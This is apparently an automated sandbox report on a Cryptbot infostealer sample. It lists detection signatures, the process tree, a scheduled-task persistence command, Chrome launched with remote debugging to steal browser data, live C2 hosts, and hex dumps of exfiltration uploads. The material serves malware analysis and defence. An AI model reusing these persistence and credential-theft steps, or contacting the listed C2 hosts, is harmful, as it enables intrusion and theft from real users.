Edit tour

Windows Analysis Report
rJvOqHxkuI.exe

Overview

General Information

Sample name:	rJvOqHxkuI.exe renamed because original name is a hash value
Original sample name:	39cb781a70f40105ffdbb75e77aa6d7f.exe
Analysis ID:	1578058
MD5:	39cb781a70f40105ffdbb75e77aa6d7f
SHA1:	79805738b703d0b7375140a0067f720f6ff5fb99
SHA256:	c3ce51918df45e9cae14921d25c0419397003733e9ada04a33e4cde97013e2e6
Tags:	exeuser-abuse_ch
Infos:

Detection

Clipboard Hijacker, Cryptbot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Attempt to bypass Chrome Application-Bound Encryption

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Clipboard Hijacker

Yara detected Cryptbot

AI detected suspicious sample

Drops large PE files

Found evasive API chain (may stop execution after checking mutex)

Found stalling execution ending in API Sleep call

Hides threads from debuggers

Leaks process information

Machine Learning detection for sample

PE file contains section with special chars

Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Uses schtasks.exe or at.exe to add and modify task schedules

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to modify clipboard data

Contains functionality to query CPU information (cpuid)

Contains functionality to read the clipboard data

Detected potential crypto function

Drops PE files

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Browser Started with Remote Debugging

Sigma detected: Suspicious Schtasks From Env Var Folder

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

rJvOqHxkuI.exe (PID: 7724 cmdline: "C:\Users\user\Desktop\rJvOqHxkuI.exe" MD5: 39CB781A70F40105FFDBB75E77AA6D7F)

chrome.exe (PID: 7224 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 824 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1800,i,7000537074174027735,15973945356737895011,262144 /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

service123.exe (PID: 5456 cmdline: "C:\Users\user\AppData\Local\Temp\service123.exe" MD5: 110FE44D33E426703CD712E879D34CBC)

schtasks.exe (PID: 5520 cmdline: "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 5264 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WerFault.exe (PID: 2908 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7724 -s 1172 MD5: C31336C1EFC2CCB44B4326EA793040F2)

service123.exe (PID: 7248 cmdline: C:\Users\user\AppData\Local\Temp\/service123.exe MD5: 110FE44D33E426703CD712E879D34CBC)

service123.exe (PID: 7716 cmdline: C:\Users\user\AppData\Local\Temp\/service123.exe MD5: 110FE44D33E426703CD712E879D34CBC)

service123.exe (PID: 1568 cmdline: C:\Users\user\AppData\Local\Temp\/service123.exe MD5: 110FE44D33E426703CD712E879D34CBC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: service123.exe PID: 5456	JoeSecurity_Clipboard_Hijacker_5	Yara detected Clipboard Hijacker	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
9.2.service123.exe.6c840000.1.unpack	JoeSecurity_Clipboard_Hijacker_5	Yara detected Clipboard Hijacker	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f, CommandLine: "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\rJvOqHxkuI.exe", ParentImage: C:\Users\user\Desktop\rJvOqHxkuI.exe, ParentProcessId: 7724, ParentProcessName: rJvOqHxkuI.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f, ProcessId: 5520, ProcessName: schtasks.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\rJvOqHxkuI.exe", ParentImage: C:\Users\user\Desktop\rJvOqHxkuI.exe, ParentProcessId: 7724, ParentProcessName: rJvOqHxkuI.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", ProcessId: 7224, ProcessName: chrome.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Suricata Signatures

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:21:45.172096+0100	2054350	1	A Network Trojan was detected	192.168.2.10	49782	194.87.47.113	80	TCP
2024-12-19T08:21:47.031695+0100	2054350	1	A Network Trojan was detected	192.168.2.10	49793	194.87.47.113	80	TCP
2024-12-19T08:21:57.179431+0100	2054350	1	A Network Trojan was detected	192.168.2.10	49827	194.87.47.113	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: rJvOqHxkuI.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: rJvOqHxkuI.exe	ReversingLabs: Detection: 44%
Source: rJvOqHxkuI.exe	Virustotal: Detection: 54%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: rJvOqHxkuI.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_00B315B0 _open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext,		9_2_00B315B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C8414B0 _open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext,		9_2_6C8414B0

Source: rJvOqHxkuI.exe, 00000000.00000003.1306358333.000000000710F000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_d9f474bc-c

Source: rJvOqHxkuI.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	File opened: C:\Users\user\.ms-ad\	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	File opened: C:\Users\user\AppData\Local\Google\	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	File opened: C:\Users\user\AppData\	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then lea ecx, dword ptr [esp+04h]	9_2_00B381E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6C8BAEC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6C8BAF70
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6C8BAF70
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	9_2_6C860860
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	9_2_6C86A9E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	9_2_6C86A9E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	9_2_6C86A970
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, 6C91F960h	9_2_6C85EB10
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebx	9_2_6C8E84A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6C864453
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	9_2_6C86A580
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	9_2_6C86A5F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	9_2_6C86A5F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	9_2_6C86C510
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	9_2_6C86E6E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	9_2_6C86E6E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, ecx	9_2_6C8E0730
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	9_2_6C860740
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6C8BC040
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6C8BC1A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+04h]	9_2_6C89A1E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	9_2_6C860260
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [6C91D014h]	9_2_6C914360
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6C8BBD10
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	9_2_6C8B7D10
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push edi	9_2_6C8B3840
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then lea eax, dword ptr [ecx+04h]	9_2_6C86D974
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	9_2_6C87BBD7
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	9_2_6C87BBDB
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	9_2_6C899B60
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6C8BB4D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	9_2_6C86D504
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, 6C91DFF4h	9_2_6C8B3690
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	9_2_6C8B9600
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then lea eax, dword ptr [ecx+0Ch]	9_2_6C86D674
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then lea eax, dword ptr [ecx+08h]	9_2_6C86D7F4
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6C85B1D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push edi	9_2_6C8E3140
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6C86D2A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebx	9_2_6C8D7350

Source: chrome.exe

Memory has grown: Private usage: 8MB later: 28MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.10:49782 -> 194.87.47.113:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.10:49827 -> 194.87.47.113:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.10:49793 -> 194.87.47.113:80

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1Host: home.twentytk20pn.topAccept: /Content-Type: application/jsonContent-Length: 563165Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 35 39 32 38 37 30 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 30 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 36 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 35 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 2
Source: global traffic	HTTP traffic detected: GET /WEIsmPfDcpBFJozngnYN1734366322?argument=u7VtNLyjqfgaK0Pt1734592875 HTTP/1.1Host: home.twentytk20pn.topAccept: /
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20pn.topAccept: /Content-Length: 462Content-Type: multipart/form-data; boundary=------------------------vX4CsBy8Ybntn4Uk0jptRfData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 76 58 34 43 73 42 79 38 59 62 6e 74 6e 34 55 6b 30 6a 70 74 52 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 54 65 6d 65 71 69 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a a6 26 66 88 3b 3f 9c f2 21 f9 19 0f 69 84 7b 5f 39 09 b2 b4 87 e0 b1 f0 a1 68 a8 eb 2f 70 7d 9e 73 f8 5d 63 68 e7 05 5b 26 fd af f6 cd 80 6b b9 a1 f5 57 7a 05 83 7c 29 fa f5 79 b0 45 82 a5 42 23 65 40 30 8b 96 27 28 8e 66 4d 56 d4 55 a0 38 10 7e 4d ca 34 c1 ed ba 0a db c1 63 d2 57 16 78 89 11 c8 f0 a9 d7 1f 53 e8 1c 3f b2 2a d2 86 70 7a 77 92 15 87 cd 84 6c af f1 17 e4 c3 ab 62 0e 20 71 39 ac 7f da 9f f9 5f d6 af d0 37 21 86 b8 0c c3 40 51 20 a6 b0 14 82 86 a3 ea c0 66 7d 4e bb d4 52 c2 3c e2 ea 1e 9e 8a 87 10 cd c1 63 cf 4b 34 2b 5c 05 6d 60 60 f8 17 2a 2b 2f 74 39 d7 1d 79 8a a9 03 fc 2d a8 99 66 65 37 ad b1 d8 eb 06 7b e4 62 84 55 32 a8 3a 6b 6e 0d ba ae ff a3 10 d2 13 ac b5 77 7c 4e 5d 75 8c c6 3d 4d d3 0b 58 28 8e 03 88 a5 e4 50 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 76 58 34 43 73 42 79 38 59 62 6e 74 6e 34 55 6b 30 6a 70 74 52 66 2d 2d 0d 0a Data Ascii: --------------------------vX4CsBy8Ybntn4Uk0jptRfContent-Disposition: form-data; name="file"; filename="Temeqi.bin"Content-Type: application/octet-stream&f;?!i{_9h/p}s]ch[&kWz\|)yEB#e@0'(fMVU8~M4cWxS?pzwlb q9_7!@Q f}NR<cK4+\m``+/t9y-fe7{bU2:knw\|N]u=MX(P--------------------------vX4CsBy8Ybntn4Uk0jptRf--
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20pn.topAccept: /Content-Length: 95146Content-Type: multipart/form-data; boundary=------------------------ag0psXQRgldIcbbt9Few56Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 61 67 30 70 73 58 51 52 67 6c 64 49 63 62 62 74 39 46 65 77 35 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 48 65 77 75 7a 6f 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a c6 13 c0 d9 8a f9 9f 78 7d 2d 46 9f 92 cd 53 e6 87 dc 1c fc c6 e0 e0 e9 a5 7c 45 2b e5 ba bc 1f b5 48 bf 66 e9 00 37 31 ae fc d2 8d 44 ed df fd 12 25 fd 13 8e 9a 17 52 0a 04 49 fa 17 78 77 0b 16 ab 6f ae ad aa 66 43 f8 b4 33 44 71 72 82 29 ed a3 45 62 51 8a ba 6b ab dd 38 9b 98 e7 64 e4 55 b0 0a 60 52 2b 36 bc c6 5a b2 46 a7 04 5b d7 4b f1 9c 06 3f 53 96 2f 98 0d a7 8b a7 83 7b 84 9f a8 ea 48 77 df 08 8d ef 23 b2 c6 57 e0 43 80 3f 05 1a b5 ba d4 41 32 61 b1 8d 59 d0 36 5a e3 bc 1c c7 44 da 30 18 99 23 22 c5 bb 83 d8 0a 44 a7 32 d7 c9 b9 44 03 35 4e 40 28 2f e6 d3 b7 4b be 9d a1 a7 a0 43 e6 a5 8e 9b e0 c2 cc b9 fb e2 e4 55 75 e3 a9 a8 07 00 97 d8 8a 45 f0 ce 66 62 a5 b9 42 0f cc c0 9b 7d 27 d6 c6 20 64 ed 9e 84 c8 c9 4e 2c 33 6a ba 07 b3 bc b0 93 b5 97 3a 44 87 e5 94 e6 47 8c 15 7d 7a 18 30 16 bd e9 ad de 45 db 7a 98 10 1d 20 8f 98 ca 83 f3 49 19 28 1e c6 cb e7 dc 3e cd dd 3f 53 cb f6 52 41 31 18 cb e2 b4 e4 f8 d6 33 d2 7f 70 63 e7 49 a8 ea 1a 47 89 cd 6a bb c8 6f 64 63 3f 3d b9 4d 18 53 49 94 d0 73 a3 1c c6 48 9b bb a0 99 b2 42 ec af 52 53 b0 88 56 6b 26 43 88 c2 87 a6 f4 9c 52 c1 56 f3 ff ea c4 b6 d7 67 7d 1e 2a 90 b2 10 6f a3 d4 88 ac f2 6c 54 b9 6a 3d 51 75 72 5c 27 19 b9 a1 c7 3d b2 86 f7 cc 8d 8e 08 be bb cc 4d 07 ce 02 f7 86 ee 0f 40 17 e4 4c e7 28 ab 92 35 e8 28 e1 b8 8e e6 60 6c c4 3e ba 73 c9 87 cc 93 de 80 df fd ed 2a 87 10 8f 49 3e f9 14 ca 9f ae 0d 52 d6 44 39 cd 42 cd 38 e2 b6 9e 02 b3 56 c4 5b c8 46 3d 74 53 bb 64 2a 7f fd cc 95 a5 50 8a 57 df f7 c5 06 18 ec 5b 25 b4 44 2c ee 3c 82 93 64 d3 28 11 ee 1e a7 c5 20 31 38 34 93 c8 0b 71 90 9d 5d 6f 4d ea 44 b3 aa 7e 02 4b ab 7f dc 9c fc f6 a4 fc f9 a6 e2 aa a5 b2 ae 7f a4 27 b9 20 e7 f9 0c 6d f7 5f 7a e6 ff 98 ea 63 fc 4b 99 b3 e5 53 98 05 63 f2 83 4f 2c 66 89 fa 4d ac c3 6e bc 0d be ab 70 4e fa d0 0d b0 d2 62 14 23 c7 cd e5 70 67 43 0a 58 71 66 68 ed 1a 21 42 4c 64 ac 28 bd 72 5f bf ee 7b 80 f1 c2 17 2c 7f 11 8d e3 25 8d 4b 57 32 7d 60 bd 76 50 c5 92 70 3b 11 62 81 ef 30 c2 70 c9 be 95 81 43 10 07 cd 61 c4 52 3d d5 2c 01 1f fd d8 64 33 65 9b 83 a5 6c f9 4c 2b da 72 b1 07 aa cb 20 58 00 b0 d9 9b 22 2f 8a f4 45 dc 7e 54 f6 ad 48 0c df 36 0c 06 eb 99 87 8f c2 4e bf db 02 3c ff d4 dc bc a9 9b 7a bc 07 89 8d 94 2e 8b 3c 3a ea 7f bd cb 42 75 a4 3e 83 aa 13 0f d1 f5 8c d0 6f d6 5b 5d 50 a1 91 79 78 c1 81 2c 52 c9 e4 3c 6f 92 5a 60 d8
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20pn.topAccept: /Content-Length: 30348Content-Type: multipart/form-data; boundary=------------------------PE1yitKcRkpP3q3AKF5txsData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 50 45 31 79 69 74 4b 63 52 6b 70 50 33 71 33 41 4b 46 35 74 78 73 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 51 69 72 75 6c 75 6b 65 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ab ae 6e 39 e8 91 79 57 8e b5 61 12 5f 02 37 1f fe 11 07 df 3a 18 e9 03 66 b5 c4 70 24 c6 48 f3 f8 d4 1a 84 13 2c ac 84 59 a0 aa 47 aa f4 8d 9f 64 4a 0d 38 e2 c5 5e f2 7f a5 88 85 36 0a ce ea 3f 7e 43 81 eb e3 67 2c b9 79 18 22 a1 c8 8d ab 74 74 1b c9 31 56 e2 1b 90 3f a3 c7 f6 2b 08 aa 4c 75 0e 3b ae 